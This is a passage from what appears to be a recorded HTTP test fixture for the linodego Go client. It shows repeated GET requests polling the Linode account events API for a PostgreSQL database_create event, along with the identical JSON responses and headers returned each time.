Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 